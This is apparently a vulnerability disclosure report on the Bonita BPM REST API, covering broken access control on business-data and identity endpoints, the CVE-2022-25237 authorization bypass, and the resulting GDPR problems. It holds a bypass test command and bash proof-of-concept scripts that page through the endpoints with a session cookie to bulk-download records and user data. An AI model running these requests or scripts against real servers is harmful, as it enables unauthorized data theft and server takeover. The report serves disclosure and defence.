Severe Security Flaws in Bonita

Severe Security Flaws in Bonita REST API Exposing Business and System Data with GDPR Implications.

Executive Summary

This report details a critical security vulnerability in the Bonita REST API that allows any authenticated user to access and download the entire business database, including sensitive Business Data Model (BDM) objects, as well as system data such as users, groups, roles, and group memberships. The flaw enables unrestricted data retrieval through simple HTTP requests, with no apparent access controls to limit the scope of data exposure. In multi-client environments, where multiple organizations' data is stored within the same Bonita instance, this vulnerability results in one client's sensitive data being fully accessible to users of other clients. This constitutes a **severe security breach and a significant violation of the General Data Protection Regulation (GDPR), as it exposes personal and sensitive data without authorization**. Furthermore, the risk is amplified by the potential for unauthorized access through compromised user accounts or endpoints, effectively exposing data to external actors, including malicious entities worldwide. Proof-of-concept scripts demonstrate the ease of exploiting this flaw, reinforcing its critical nature.

Introduction

Bonita is a business process management (BPM) platform that relies on a REST API to facilitate interactions with its data and processes. The platform is commonly used by organizations to manage workflows, business data, and user access. This report addresses a critical flaw in the REST API that permits any logged-in user to retrieve comprehensive datasets, including the entire BDM and sensitive system data, without restrictions. The vulnerability poses severe risks in multi-client deployments, where data from multiple organizations is stored, and in environments where user endpoints may be compromised, leading to potential global exposure of sensitive information. The report also evaluates the implications of this flaw under **GDPR**, highlighting its non-compliance with data protection principles, and provides proof-of-concept scripts to demonstrate the ease of exploitation.

---

2. Vulnerability Description

2.1. Unrestricted Access to Business Data Model (BDM)

The Bonita REST API exposes a critical vulnerability in its Business Data Model (BDM) endpoints, allowing any authenticated user to extract the entire business database with minimal effort. The BDM contains sensitive business data stored in database tables, referred to as BDM objects, which may include customer records, financial transactions, proprietary information or GDPR data.

- **Endpoint**: `API/bdm/businessData/com.company.model.<ObjectName>?q=find&p=0&c=1`
- **Parameters**:

    - `<ObjectName>` : The name of the BDM object (e.g., `Customer` , `Order`), which *corresponds to a **table in the database*** .
    - `p` : Page number, starting at `0` for the first page of records.
    - `c` : Number of records returned per page (e.g., `c=1` returns *one* record, `c=100` returns *100* records).
- **Behavior**: The endpoint returns a paginated list of records for the specified BDM object. By incrementing the p parameter (e.g., `p=0` , `p=1` , `p=2` , etc.), a user can sequentially retrieve all records in the database, page by page. Setting a high `c` value (e.g., `c=1000`) allows retrieval of thousands of records in a single request, enabling rapid extraction of the entire BDM object.
- **Technical Analysis**: The API lacks access controls to restrict which users can query BDM objects or limit the volume of data returned. The pagination mechanism (p and c) is a standard feature for browsing large datasets but is dangerously exposed without authentication checks beyond basic login. For example, a user can issue a series of requests like `p=0&c=1000` , `p=1&c=1000` , `p=2&c=1000` , etc., to **download all records in a BDM object, regardless of their permissions or role**. A simple script can automate this process, extracting the entire database in minutes. The absence of rate limiting or data scoping means that even a single user can retrieve millions of records without restriction, exposing all business-critical data.

Key Risk: By incrementing p to iterate through pages and setting a high c value (e.g., `c=10000`), any logged-in user can download the complete contents of any BDM object, effectively extracting the entire business database with no technical barriers.

Names of Bonita's Business Data Model (BDM) types

Names of Bonita's Business Data Model (BDM) types can be easily extracted in several ways, including *manual observation* , *automated retrieval* from the server, or *automated dictionary-based testing* . The included bash scripts package contains scripts that demonstrate the automated retrieval of Business Data Model (BDM) type names. The included bash scripts package contains scripts that demonstrate the automated retrieval of Business Data Model (BDM) type names. Downloaded Business Data also provides valuable insights, particularly when relational data is involved, allowing names of relational data to be easily extracted.

For manual or dictionary-based testing, users can use an address like the one below, where `<target_root_path>` is the path to the Bonita installation and `<ObjectName>` the name being tested.

```
<target_root_path>/API/bdm/businessData/com.company.model.<ObjectName>?q=find&p=0&c=1
```

If the Business Data type exists, a JSON array is returned. If the Business Data type does not exist, the response should be similar to the example below.

```
{
    "exception": "class org.bonitasoft.engine.command.CommandExecutionException",
    "message": "USERNAME=** | org.bonitasoft.engine.command.SCommandExecutionException:
org.bonitasoft.engine.business.data.SBusinessDataRepositoryException:
java.lang.ClassNotFoundException: com.company.model.OrderX"
}
```

However, there are methods to automatically retrieve Business Data Model (BDM) type names.

In Bonita deployments affected by the CVE-2022-25237 authorization bypass vulnerability, a user can upload a *REST API extension* that exposes the complete list of BDM data types. See the folder `./bn-ext/bdTypes` for an example of such a plugin.

2.2. Unrestricted Access to System Data

The REST API also exposes sensitive system data, including user *accounts*, *groups*, *roles*, and group *memberships* etc, through endpoints that any authenticated user can access. These endpoints provide comprehensive access to the platform's configuration and identity management data.

- **Endpoints**:
  - **Groups**: `API/identity/group?p=0&c=1`
    - Retrieves all groups defined in the system (e.g., teams or departments).
  - **Roles**: `API/identity/role?p=0&c=1`
    - Retrieves all roles (e.g., admin, user, manager).
  - **Users**: `API/identity/user?p=0&c=1`
    - Retrieves all user accounts, including account ID's, logins
  - **Group Memberships**: `API/identity/membership?p=0&c=1&f=user_id%3d<UserId>`
    - Retrieves group and role assignments for a specific user, identified by `<UserId>` from the `user` endpoint.
- **Parameters**:
  - `p` : Page number, starting at `0` for the first page.
  - `c` : Number of records per page, scalable to retrieve large datasets.
- **Behavior**: Similar to the BDM endpoints, these system data endpoints return paginated results. By incrementing p (e.g., `p=0`, `p=1`, etc.), a user can retrieve all records for groups, roles, users, or memberships. Setting a high c value (e.g., `c=1000`) allows retrieval of thousands of records in a single request, enabling complete extraction of system data.
- **Technical Analysis**: The API does not enforce proper access control or other restrictions to limit access to system data. Any logged-in user, regardless of their privileges, can query these endpoints to retrieve sensitive information. For instance, a request to `API/identity/user?p=0&c=1000` returns up to *1000* user records, and incrementing p (e.g., `p=1&c=1000`) retrieves the next *1000*, continuing until all users are downloaded. The process is trivial to automate using basic scripting tools, as the API accepts standard HTTP GET requests with no additional security checks. The lack of filtering or obfuscation exposes personal data (e.g., user emails) and organizational details (e.g., group memberships), which can be used for further attacks, such as phishing or privilege escalation.

Key Risk: By incrementing p to navigate through pages and setting a high c value (e.g., `c=10000`), any logged-in user can extract the entire system dataset, including all users, groups, roles, and memberships, with no restrictions, exposing critical platform configuration data.

2.3. Authorization Bypass

CVE-2022-25237 - **Authorization bypass** leading to **RCE**. This vulnerability allows authorization bypass and remote code exection in Bonitasoft web.

2.3.1. Description

By appending `;i18ntranslation` or `/i18ntranslation/../` to certain API URLs it is possible to bypass authorization for unprivilged users and access privileged APIs. This allows an API extension to be deployed and execute code remotely.

- See more: CVE-2022-25237

By exploiting the *CVE-2022-25237* vulnerability, users/attackers can **easily upload malicious scripts to the system** via API Extensions and execute them. This allows *any authenticated user easily to gain full administrative access to the Bonita server*. More sophisticatedattackers can also use these scripts to erase traces of their activities, making detection challenging. By *exploiting additional vulnerabilities, attackers can access sensitive information that enables them to hijackuser accounts* for malicious activities or create new accounts for their own purposes.

2.3.2. Steps to Test

The *CVE-2022-25237* vulnerability can be easily identified using a standard web browser, without requiring additional tools.

2.3.2.1. Identify the Target

Locate the root path of the Bonita installation. Bonita can be deployed on Tomcat either as a *subfolder* application or as the *ROOT* application. For a *subfolder* deployment, the standard URL is `http(s)://<domain_name>/bonita/`. For a *ROOT* deployment, the URL is `http(s)://<domain_name>/`.

On standard installations, it's easy to identify the version of Bonita by opening URL `<target_root_path>/VERSION` in a web browser.

Example of Response

```
7.11.1
Bonitasoft © 2020
```

2.3.2.2. Send the Request

An interested individual can access the URL `<target_root_path>/API/system/session/unusedid;i18ntranslation` in a web browser and analyze the response to identify the *CVE-2022-25237* vulnerability. Alternatively, command-line tools like `curl` can be used to send an HTTP request.

```
curl -i <target_root_path>/API/system/session/unusedid;i18ntranslation
```

2.3.2.3. Check the Response

If you see `HTTP/1.1 200 OK` with a body of `{}`, the system is **vulnerable**.

If you see `HTTP/1.1 401 Unauthorized` or `403 Forbidden` with an error message, the system is **not vulnerable**.

- **Example of Vulnerable Response**:

```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2

{}
```

- **Example of Non-Vulnerable Response**:

```
HTTP/1.1 401 Unauthorized
Content-Type: application/json
Content-Length: 123

{"exception":"org.bonitasoft.web.toolkit.client.common.exception.api.APIForbiddenExc
eption","message":"User not authenticated"}
```

2.3.2. Overview of Exploitation Capabilities

The Python script **CVE-2022-25237.py** (available at GitHub) exploits a vulnerability in Bonita, enabling straightforward Remote Code Execution (RCE). The script facilitates unauthorized package uploads and execution of user-supplied code. By leveraging Bonita's use of Groovy scripts, attackers can deploy and run arbitrary scripts on the server. Depending on the server's configuration, this vulnerability may allow full compromise of the host system, granting extensive control over the environment.

- **Capabilities of an Attacker**
  - **Remote Code Execution (RCE)**:
    - Upload and execute arbitrary Groovy scripts on the Bonita server.
    - Run commands or scripts directly on the server's operating system, depending on permissions.
  - **Server Compromise**:
    - Gain unauthorized access to the server hosting Bonita.
    - Escalate privileges if the server runs with elevated permissions or has misconfigurations.
  - **Data Access and Manipulation**:
    - Access sensitive data stored in Bonita (e.g., business process data, user credentials).
    - Modify or delete critical application data.
  - **Persistence**:
    - Deploy persistent backdoors via Groovy scripts for ongoing access.
    - Install additional payloads to maintain control post-exploitation.
  - **Lateral Movement**:
    - Pivot to other systems or services on the network if the server has connectivity.
    - Exploit trust relationships or shared credentials to expand the attack scope.

    - **System Disruption**:
        - Disrupt Bonita services by altering workflows or deleting processes.
            - Cause denial-of-service (DoS) by overloading the server with malicious scripts.
- **Prerequisites for Exploitation**
    - **Target**: Bonita BPM platform (vulnerable versions, e.g., prior to patch for CVE-2022-25237).
    - **Access**: Network access to the Bonita server.
    - **Tools**: Basic knowledge of Groovy for crafting payloads etc.
- **Impact**
    - **Severity**: Critical (CVSS score not specified in the script but implied by unauthenticated RCE).
    - **Scope**: Full server compromise, potential for data breaches, and network-wide attacks.

2.4. Potential for Unauthenticated Access

While the vulnerability primarily affects authenticated users, there is a significant risk that additional vulnerabilities (e.g., authentication bypass or session hijacking) could allow unauthenticated users to exploit endpoints. Historical vulnerabilities, such as the authentication/authorization bypass in (CVE-2022-25237), suggest that such risks are plausible. If combined with the current flaw, this could result in unrestricted access to sensitive data by external actors.

---

3. Security Implications

3.1. Exposure in Multi-Client Environments

In deployments where Bonita is used by multiple users or multiple client organizations (e.g., hosted by a service provider), the vulnerability has catastrophic implications. Each client's BDM and system data are stored within the same Bonita instance, and the lack of access controls allows users to access data of all other users or users from one client organization to access the data of all other clients. This cross-client data exposure includes:

- **Business Data**: Sensitive information such as customer records, financial transactions, intellectual property or GDPR data.
- **System Data**: User *accounts* , *groups* , *group memberships* , and *roles* , which may reveal organizational structures or access privileges.

This unrestricted access violates the principle of data segregation, a fundamental requirement for multi-user/multi-client systems, and exposes organizations to significant financial, legal, and reputational risks.

3.2. Risk of Endpoint Compromise

Users of Bonita typically access the platform via personal or corporate devices, which may be vulnerable to compromise through malware, phishing, or other attacks. If a user's account or session is hijacked, an attacker can exploit the REST API to download the entire database. Given the simplicity of the API requests (standard HTTP GET requests with pagination), attackers can automate data extraction, amplifying the scale and speed

of the breach. In environments where the platform is hosted by a third-party provider, the risk extends to external actors worldwide, as compromised endpoints could be used to exfiltrate data to any location.

3.3. Global Data Exposure

The combination of unrestricted API access, multi-client data exposure, and the potential for endpoint compromise creates a scenario where sensitive data is effectively exposed to the global internet. Malicious actors, including cybercriminals, competitors, or state-sponsored entities, could exploit this vulnerability to obtain comprehensive datasets, leading to severe consequences such as identity theft, financial fraud, or corporate espionage.

---

4. GDPR Violations

4.1. Article 5: Principles Relating to Processing of Personal Data

- **Violation**: *Article 5(1)(f)* requires *personal data to be processed in a manner that ensures appropriate security, including protection against unauthorized or unlawful processing*. The unrestricted access to user data (e.g., via `API/identity/user`) and BDM objects containing personal data violates this principle, as any authenticated user can access all personal data without authorization.
- **Impact**: The lack of access controls undermines the integrity and confidentiality of personal data, exposing data subjects to risks such as identity theft or unauthorized profiling.

4.2. Article 25: Data Protection by Design and by Default

- **Violation**: *Article 25* requires *data controllers to implement technical and organizational measures to ensure data protection principles are met by default*. The Bonita REST API's design, which allows unrestricted data access without granular access controls, fails to incorporate data protection by design.
- **Impact**: The absence of default protections for personal data in multi-client environments means that data controllers using Bonita are non-compliant, exposing them to regulatory penalties and legal liabilities.

4.3. Article 32: Security of Processing

- **Violation**: *Article 32* mandates *appropriate technical and organizational measures to ensure a level of security appropriate to the risk*. The ability of any logged-in user to download the entire database, combined with the potential for unauthenticated access, demonstrates a failure to implement adequate security measures.
- **Impact**: The high risk of data breaches, particularly in multi-client deployments, increases the likelihood of significant harm to data subjects, triggering mandatory breach notifications under *Article 33*.

4.4. Article 33: Notification of a Personal Data Breach

- **Violation**: *Article 33* of the GDPR requires *data controllers to notify supervisory authorities within 72 hours of becoming aware of a personal data breach*, defined as a breach of security leading to the accidental or unlawful destruction, loss, alteration, unauthorized disclosure of, or access to personal data. Under EU law, a breach occurs when personal data becomes technically available to unauthorized parties,

regardless of whether there is evidence of its actual use or exploitation. The Bonita REST API vulnerability, by allowing any user to access the entire business database (BDM) and system data (including usernames, emails, and other personal details), constitutes a personal data breach. The mere availability of this data to unauthorized users—such as users from other client organizations in multi-client environments or potentially external actors via compromised accounts—violates the confidentiality of data subjects' personal information, triggering GDPR obligations.

- **Impact**: The scale of the breach is severe, as it encompasses the entire database, including sensitive business records and system data (e.g., usernames, which facilitate account hijacking). The notification process under *Article 33* would be complex and resource-intensive, requiring data controllers to assess the scope of the breach, identify affected data subjects, and communicate with supervisory authorities within the *72-hour deadline*. In multi-client deployments, the cross-client exposure of personal data amplifies the complexity, as multiple organizations' data subjects may be affected. Additionally, the public disclosure of such a large-scale breach, particularly involving usernames that enable targeted attacks, would likely cause substantial reputational damage, eroding trust among clients, partners, and data subjects.

---

5. Proof of Concept: Reproducing the Vulnerability

This section provides *proof-of-concept (PoC)* `bash scripts` to demonstrate the ease with which an authenticated user can exploit the Bonita REST API vulnerability to extract entire datasets from the Business Data Model (BDM) and system-related endpoints (user, group, role, membership). The scripts paginate through results until an empty result or notice of end of records is returned, saving each response as a JSON file named using the `persistenceId` (for BDM) or `id` (for system endpoints) field from the first object in the response. These PoCs underscore the vulnerability's severity by showing how simple scripts can extract comprehensive datasets, including *usernames*, with minimal technical effort, making the risks clear to non-technical readers.

Scripts are located in the `./poc` directory. The *bundle includes additional scripts* not covered below. Please review the script headers to understand their purpose and usage.

These scripts are for educational and testing purposes only.

> Please note that numerous online automation tools, such as `airbyte.com`, `rapidapi.com`, `postman.com`, `parabola.io` etc, are available, offering free or reasonably priced plans with user-friendly interfaces. These tools eliminate the need to write custom scripts. Simply set up an automation project, configure the necessary settings, and the tool will handle the rest.

Always check the GitHub repository HopeHarborHub/bonitaprobe for the latest updates.

5.1. Bash Scripts Overview

- **CVE-2022-25237 Test**
  - This vulnerability allows authorization bypass and remote code exection in Bonitasoft web.

    - Sends an HTTP GET request to the endpoint `API/system/session/unusedid;i18ntranslation` and validates the response for the *CVE-2022-25237* vulnerability.
- **BDM Data Extraction**:
    - Iterates over an array of BDM object names (e.g., `Customer`, `Order`).
    - Sends HTTP GET requests to `API/bdm/businessData/com.company.model.<ObjectName>?q=find&p=<page>&c=1`, incrementing `p` until an empty resultset is returned.
    - Saves responses as JSON files, named using the `<ObjectName>` and `persistenceId` (e.g., *Customer-123.json*).
- **System Data Extraction**:
    - Queries `API/identity/user`, `API/identity/group` paginating until an empty result is returned.
    - Saves responses as JSON files, named using the id (e.g., *user-456.json*).
    - For other endpoints that require user IDs etc, you can use the retrieved values.
- **Specific System Data Extraction**:
    - Dedicated scripts for `API/identity/user` etc demonstrated targeted extraction of user and group data, including usernames. *Utilising previously collected data*, users can effortlessly retrieve additional data, which may necessitate specific IDs for access.
    - Queries `API/identity/membership`.
    - Saves responses as JSON files.
    - For request, uses *IDs* from the previously collected data.
- **Technical Notes**:
    - Scripts use `bash` for scripts execution and `curl` for HTTP requests and `jq` for JSON parsing.
    - A valid session cookie (`JSESSIONID`) is required, obtainable from a logged-in session.
    - Files are stored in a systematic manner within `./output`.
    - All scripts facilitate a limitation variable to retrieve only a restricted amount of example data, not the full amount.
    - `Configuration`:
        - The `_config.sh` file is loaded at runtime and contains the following variables:
            - `BN_SERVER_URL` - Bonita server URL.
                - Example `https://mydomain.com/bonita` - *Subfolder* deployment.
                - Example `https://mydomain.com/` - *ROOT* deployment.
            - `BN_SESS_COOKIE` - Tomcat Session Cookie.
                - Example `JSESSIONID=370760A5A824D070B7898BC734A2F276`
            - `BN_RQ_LIMIT` - Maximum number of pages to retrieve. Default `1`.
        - `Functions`:
            - The `_functions.sh` file is loaded during runtime and contains *various functions to prevent code repetition and enhance readability*.

5.2. Bash Script for CVE-2022-25237 Test

The full script is located in the file `./poc/cve-2022-25237-status.sh`. The following code snippet illustrates how straightforward it is to identify a system vulnerable to CVE-2022-25237 by exploiting weaknesses in the API endpoint handling. Specifically, it sends an HTTP GET request to the `API/system/session/unusedid;i18ntranslation` endpoint and analyzes the response for indicators of improper input validation, which could allow attackers to manipulate session data or bypass authentication, as described in the *CVE-2022-25237* vulnerability.

```
get_cve_2022_25237_status() {
    local HEADER
    HEADER=$(curl -s -I "${URL_API}/system/session/unusedid;i18ntranslation" | head -n1)
    case "${HEADER}" in
        *"HTTP/"*" 200"*) echo "Infected" ;;
        *"HTTP/"*" 401"*) echo "Not infected" ;;
        *) echo "Unknown status: ${HEADER}" ;;
    esac
}
```

How to use

To execute the script `cve-2022-25237-status.sh` from the `./poc` directory using a Bash command, you can use the following command:

```
bash ./cve-2022-25237-status.sh
```

Expected Results

- **Infected** - The system is susceptible to the *CVE-2022-25237* vulnerability.
- **Not infected** - The system is not affected by the *CVE-2022-25237* vulnerability.
- **Unknown Status** - An unexpected result occurred, indicating that the detection failed.

Example output of the `cve-2022-25237-status.sh` script on case of infected system.

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CVE-2022-25237 status
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Bonita Server:          * * *
Bonita Version:         7.11.1
Cookie Conf:            Set
Session Status:         Not Alive
User Profiles:          User
CVE-2022-25237:         Infected
Requests Limit:         5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
```

The actual domain name of the server is obscured using `* * *` characters for security purposes.

5.3. Bash Script for BDM Endpoints

The full script is located in the file `./poc/dnl-bd.sh`. The following code segment demonstrates how easily data can be downloaded automatically from a server without needing to know any data record IDs.

Sends HTTP GET requests to `API/bdm/businessData/com.company.model.<ObjectName>?q=find&p=<page>&c=1`, incrementing `p` until an empty result set is returned.

```
# Loop trough list of Business Object types
for BD_OBJ in "${BD_OBJECTS_ARR[@]}"; do
    PAGE=0 && BD_NAME=${BD_OBJ##*.}
    DIR_STORE="${DIR_OUT_BD}/${BD_NAME}" && mkdir -p "${DIR_STORE}"
    echo -e "\n\t${BD_NAME}"
    # Loop pages
    while [ "${PAGE}" -lt "${BN_RQ_LIMIT}" ]; do
        printf "\r\t\tRequest: %d" "$((PAGE+1))" && do_delay
        # Request data
        DATA=$(curl -s -b "${BN_SESS_COOKIE}" "$(make_bd_url "${BD_OBJ}" "${PAGE}")")
        P_ID=$(json_extract_value "${DATA}" 'persistenceId') # Persistence ID
        # Validate data, save or break
        if [ -n "${P_ID}" ] && [ "${P_ID}" != "unknown" ]; then
            echo "${DATA}" > "${DIR_STORE}/${BD_NAME}-${P_ID}.json"
        else
            printf "\n\t\t\t\t%s" "$([ "${PAGE}" -eq 0 ] && echo "No data" || echo "No more
data")" && break
        fi
        ((PAGE++)) # Increase page number
    done
    # end of pages loop
done
# end of objects loop
```

How to use

To execute the script `dnl-bd.sh` from the `./poc` directory using a Bash command, you can use the following command:

```
bash ./dnl-bd.sh
```

Expected Results

- Request results are stored in the `./output/bd` directory, organized into subdirectories.
- Extracts all records for each BDM object, generating files like `Order-123456.json`.
- The number of retrieved records is limited by the value set in the `BN_RQ_LIMIT` variable in the `_config.sh` file. The default value is `5`, which is sufficient to retrieve a sample of the data.

Example of output

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Downloading Business Data
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Bonita Server:          * * *
```

```
Bonita Version:         7.11.1
Cookie Conf:            Set
Session Status:         Alive
User Profiles:          User
CVE-2022-25237:         Infected
Requests Limit:         5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Processing 21 elements

        Accessories
                Request: 4
                                No more data
        Agency
                Request: 1
                                No data
        Attachment
                Request: 5
        BusinessCard
                Request: 5
        Color
                Request: 5
        Customer
                Request: 5
        Deal
                Request: 5
        Driver
                Request: 5
        Feedback
                Request: 5
        Item
                Request: 5
        Job
                Request: 5
        Languages
                Request: 3
                                No more data
        Lead
                Request: 5
        Material
                Request: 5
        Partner
                Request: 5
        Product
                Request: 5
        Project
                Request: 5
        Service
                Request: 5
        Site
                Request: 5
        Stock
                Request: 5
        Vehicle
                Request: 5
```

```
Done
```

- The actual domain name of the server is obscured using `* * *` characters for security purposes.
- `Request Limit: 5` indicates that the script is configured to retrieve up to `5` records.
- `Requests Retrieved: 5` without additional notice confirms that `5` records were successfully retrieved.
- `Request: 1 No Data` indicates that *one request* was made, but no data was available.
- `Request: 4 No More Dat` a indicates that f*our requests* were made, but only *three records* were retrieved, as no data was available on the fourth request.

By increasing the `BN_RQ_LIMIT` configuration value, the entire BDM database can be downloaded. For a proof, a few sample records are sufficient.

5.4. Bash Script for Retrieving User Data

The full script is located in `./poc/dnl-sys-user.sh`. The following code segment illustrates how user data can be automatically downloaded from a server withoutrequiring knowledge of user IDs. The script sends HTTP GET requests to the `identity/user` endpoint, incrementing the `p` parameter until an empty result set is returned.

```
PAGE=0
while [ "${PAGE}" -lt "${BN_RQ_LIMIT}" ]; do
    printf "\r\t\tRequest: %d" "$((PAGE+1))" && do_delay
    # Request data
    DATA=$(curl -s -b "${BN_SESS_COOKIE}" "$(make_url_user "${PAGE}")")
    U_ID=$(json_extract_value "${DATA}" 'id') # User ID
    # Validate data, save or break
    if [ -n "${U_ID}" ] && [ "${U_ID}" != "unknown" ]; then
        echo "${DATA}" > "${DIR_OUT_SYS_USER}/user-${U_ID}.json"
    else
        printf "\n\t\t\t\t%s" "$([ "${PAGE}" -eq 0 ] && echo "No data" || echo "No more
data")" && break
    fi
    ((PAGE++)) # Increase page number
done
```

How to use

To execute the script `dnl-sys-user.sh` from the `./poc` directory using a Bash command, you can use the following command:

```
bash ./dnl-sys-user.sh
```

Expected Results

- Retrieved data is stored in the folder `./output/sys/user`.
- Downloads all records, generating files like `user-123456.json`.

- The number of retrieved records is limited by the value set in the `BN_RQ_LIMIT` variable in the `_config.sh` file. The default value is `5`, which is sufficient to retrieve a sample of the data.

Example of output

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Downloading Users
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Bonita Server:          * * *
Bonita Version:         7.11.1
Cookie Conf:            Set
Session Status:         Alive
User Profiles:          User
CVE-2022-25237:         Infected
Requests Limit:         5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Requesting data
               Request: 5
Done
```

- The actual domain name of the server is obscured using `* * *` characters for security purposes.
- `Request Limit: 5` indicates that the script is configured to retrieve up to `5` records.
- `Requests Retrieved: 5` confirms that `5` records were successfully retrieved.

Additional processing

By using scripit `./poc/extract-users-tsv.sh` downloaded data can be easily parsed and saved in tabular format for easier usage. To execute the script `extract-users-tsv.sh` from the `./poc` directory using a Bash command, you can use the following command:

```
bash ./extract-users-tsv.sh
```

Example of output

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Parsing Users list
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Processing 5 files...
Total records: 5
Processing complete
```

- Extracted data is stored in the folder `./output/users.tsv`.

5.5. Bash Script for Retrieving Group Data

The script is located in `./poc/dnl-sys-group.sh`. The script illustrates how group data can be automatically downloaded from a server withoutrequiring knowledge of group IDs. The script sends HTTP GET requests to the `identity/group` endpoint, incrementing the `p` parameter until an empty result set is returned. This script operates similarly to the User Data script, as the related endpoints share the same

behavioral logic.

How to use

To execute the script `dnl-sys-group.sh` from the `./poc` directory using a Bash command, you can use the following command:

```
bash ./dnl-sys-group.sh
```

Expected Results

- Retrieved data is stored in the folder `./output/sys/group` .
- Downloads records, generating files like `group-123456.json` .
- The number of retrieved records is limited by the value set in the `BN_RQ_LIMIT` variable in the `_config.sh` file. The default value is `5` , which is sufficient to retrieve a sample of the data.

Example of output

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Downloading Groups
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Bonita Server:          * * *
Bonita Version:         7.11.1
Cookie Conf:            Set
Session Status:         Alive
User Profiles:          User
CVE-2022-25237:         Infected
Requests Limit:         5
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Requesting data
               Request: 5
Done
```

- The actual domain name of the server is obscured using `* * *` characters for security purposes.
- `Request Limit: 5` indicates that the script is configured to retrieve up to `5` records.
- `Requests Retrieved: 5` confirms that `5` records were successfully retrieved.

5.6 Security Implications

The PoC scripts demonstrate:

- **Ease of Exploitation**: Any authenticated **user can extract entire BDM and system datasets**, including usernames, using simple HTTP requests and basic scripting or online tools, making it accessible even to those with limited technical skills.
- **Multi-Client Exposure**: In multi-user/multi organisation setups, **users can access all data**, including usernames, violating data segregation.

- **Personal Data Risks**: User data (e.g., usernames, emails) and group data (e.g., organizational structures) can be used for phishing, identity theft, or privilege escalation. Username exposure facilitates account hijacking, increasing the risk of further breaches.
- **Automation**: The scripts' simplicity and scalability enable rapid data exfiltration, amplifying the breach's impact.

Disclaimer: These scripts are for educational and testing purposes only.

6. Conclusion

The Bonita's vulnerabilities represents a critical security flaw that **allows any authenticated user to download the entire business database and system data, including sensitive BDM objects, user accounts, groups, and roles**. The flaw encompasses multiple vulnerability types—broken access control, insecure direct object reference, excessive data exposure, and lack of rate limiting—making it exceptionally easy to exploit. In multi-client environments, this results in unrestricted cross-client data exposure, enabling users from one organization to access the data of others. The exposure of usernames, which can be used to target accounts for hijacking, significantly increases the risk of further breaches. The simplicity of the API endpoints, combined with the potential for endpoint compromise, creates a scenario where sensitive data is effectively exposed to the global internet, posing severe risks to organizations and data subjects.

From a GDPR perspective, the vulnerability violates core principles of data protection, including security, data protection by design, and purpose limitation. The exposure of personal data, particularly usernames, in multi-client deployments amplifies the severity of these violations, as it undermines the confidentiality and integrity of data belonging to multiple organizations. The vulnerability itself constitutes a personal data breach under GDPR, as data is technically available to unauthorized users, triggering mandatory notification requirements. Data controllers using Bonita face significant legal, financial, and reputational risks due to non-compliance with GDPR requirements.

The proof-of-concept scripts provided in section 5 demonstrate the **ease of exploiting this vulnerability**, requiring only a valid session cookie and basic scripting knowledge. Moreover, numerous online tools are now available, enabling users to effortlessly create automation workflows for downloading, parsing, and repurposing data. Modern browsers offer built-in tools that simplify the process of extracting data from websites for initial input.